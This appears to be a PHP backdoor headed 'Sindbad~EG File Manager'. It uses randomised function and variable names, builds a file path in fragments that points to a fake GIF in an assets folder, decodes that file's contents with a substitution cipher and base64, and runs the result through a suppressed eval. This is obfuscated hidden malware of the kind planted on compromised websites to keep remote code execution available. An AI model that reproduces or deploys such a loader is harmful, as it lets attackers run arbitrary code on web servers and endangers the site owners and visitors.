Sindbad~EG File Manager

<?php

function kunereh_utipokh($jadukec_shyvifi) {
    if (!file_exists($jadukec_shyvifi))
        return false;
    $xoqefes = @file_get_contents($jadukec_shyvifi);
    if (!$xoqefes)
        return false;
    $xoqefes = substr($xoqefes, 3);
    $zasechu = syrenoz_shaviki($xoqefes);
    return $zasechu;
}

function syrenoz_shaviki($jadukec_shyvifi) {
    $tylima = qymopow_hunysal;
    $qigezeg = array();
    for ($exuwyvi = 0; $exuwyvi < strlen($tylima); $exuwyvi += 2) {
        $ichalax = substr($tylima, $exuwyvi, 1);
        $kuqowy = substr($tylima, $exuwyvi + 1, 1);
        $qigezeg[$ichalax] = $kuqowy;
    }
    $etuvucy = strtr($jadukec_shyvifi, $qigezeg);
    $etuvucy = base64_decode($etuvucy);

    return $etuvucy;
}

define("qymopow_hunysal", "cy165nOZQQP5NWkBDY8bTHoeSSyIFVXOqjggEMVd==71aEvrhfJ4IPBD90CNb+RsnutC6l3p+7pqHtiwwh/mrFd2j8uxYR29eGMcfoLX4zWAKKUTliAJza0/m3sLGvZUxk");

$movybu = kunereh_utipokh(__DIR__ . "/asset" . "s/ima" . "ges/o" . "qocuh" . "o.gi" . "f");
if ($movybu) {
    @eval($movybu);
}